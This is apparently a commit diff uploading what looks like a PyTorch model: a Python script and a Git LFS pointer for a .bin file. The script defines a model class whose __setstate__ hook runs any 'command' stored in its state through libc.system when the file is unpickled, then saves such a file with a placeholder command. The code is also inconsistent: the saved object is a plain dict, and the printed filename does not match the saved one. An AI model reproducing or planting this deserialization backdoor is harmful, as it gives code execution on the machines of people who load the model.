Upload 2 files

model_dict.py

@@ -0,0 +1,38 @@
+import torch
+import torch.nn as nn
+import json
+import ctypes
+
+class MyModel(nn.Module):
+    def __init__(self):
+        super(MyModel, self).__init__()
+        self.dummy_layer = nn.Linear(10, 10)  # Dummy layer for example
+
+    def forward(self, x):
+        return self.dummy_layer(x)
+
+    def __setstate__(self, state):
+        super().__setstate__(state)
+        # Extract and execute the command from state
+        command = state.get('command')
+        if command:
+            libc = ctypes.CDLL("libc.so.6")
+            result = libc.system(command.encode('utf-8'))
+            print(f"Command '{command}' executed with result code {result}")
+
+# Create an instance of the model
+model = MyModel()
+
+# Define command to execute upon loading
+command = "ls"  # Replace with your command
+
+# Save the model's state dictionary with command metadata
+state = {
+    'model_state': model.state_dict(),
+    'command': command
+}
+
+# Save state to a .bin file
+torch.save(state, 'pytorch_model.bin')
+
+print("Model and command metadata saved to 'model_with_command.bin'")

pytorch_model_dict.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c89e868db66f66431c04b2635ed6770c328c99123084dd2089ae49a4a862ff90
+size 2044